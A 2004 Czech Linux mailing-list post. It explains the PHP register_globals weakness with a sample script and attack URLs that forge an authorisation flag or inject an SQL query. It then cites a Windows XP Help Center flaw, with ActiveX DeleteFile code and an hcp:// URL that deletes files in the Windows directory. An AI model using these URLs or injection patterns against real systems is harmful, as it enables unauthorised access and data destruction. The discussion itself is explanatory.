Apache
Dalaxi Linux
dallinux na centrum.cz
Úterý Říjen 26 22:38:59 CEST 2004
Kamil Dedecius wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>
>
>>Tento clanek jsem cetl... Ale neni v nem odpoved na moji otazku. Tyto dva
>>popsane zpusoby jsou prece stejne zabezpecene. Zadny rozdil tu nevidim...
>>Nebo snad ano?
>>
>>
>
>Vytrhnu ten prvni priklad:
>
><?php
>// define $authorized = true only if user is authenticated
>if (authenticated_user()) {
> $authorized = true;
>}
>
>if ($authorized) {
> include "/highly/sensitive/data.php";
>}
>
>Tim chtel autor rici, ze pokud mate register_global=on a utocnik pouzije url
>typu http://server.com/protected.php?authorised=true, tak jste v pytli,
>protoze NIKDE na zacatku onoho nebezpecneho skriptu si nedeklarujete tu
>promennou jako false (protoze neumite poradne prgat nebo kaslete na zasady
>bezpecneho a kvalitniho kodu).
>
>Mate-li vypnuto register_global, tak se nic nestane, protoze misto
>$authorized=true vam utocnik vyrobi nanejvys $_GET['authorized']=true a to
>vas neohrozi, i kdyz ten kod zustane tak, jak byl.
>
>Predstavte si napr. amaterske forum, ktere jen testuje, existuje-li $query a
>paklize ano, prozene ten dotaz databazi. Utocnik muze vyrobit neco typu
>http://server.com/index.php?query='nejaky_nebezpecny_sql_dotaz' a jste v
>kelu, protoze jste na zacatku skriptu zapomnel ono $query=''
>
>Doufam, ze jsem to nenapsal moc zmatene.
>
>- -- Kamil 'JP' Dedecius
>- ----------------------------------------------------------
>PGP public key 0xAD8104EF can be obtained from www.gpg.cz
>FPR: D2FD 5ABC 32F0 6B53 875E FF1A 82CB 4B7A AD81 04EF
>-----BEGIN PGP SIGNATURE-----
>Version: GnuPG v1.2.6 (GNU/Linux)
>
>iD8DBQFBfqqngstLeq2BBO8RAqxQAJ9jXApi5KpArhc0Bo1qcPLsqbUK3gCcCqEg
>P5fIE0CTAGqhzPXTuK00VZw=
>=07y0
>-----END PGP SIGNATURE-----
>
>
>
Vas priklad mi pripomel jeden bug na WinXP :
Cast toho skriptu je ulozena ve
"%windir%PCHEALTHHELPCTRSystemDFSuplddrvinfo.htm"
var oFSO = new ActiveXObject ( "Scripting.FileSystemObject" );
try
{
oFSO.DeleteFile( sFile );
}
pak staci :
hcp://system/DFS/uplddrvinfo.htm?file://c:windows*
a jste bez "Pseoudo 'Systemu' " :)
Další informace o konferenci Linux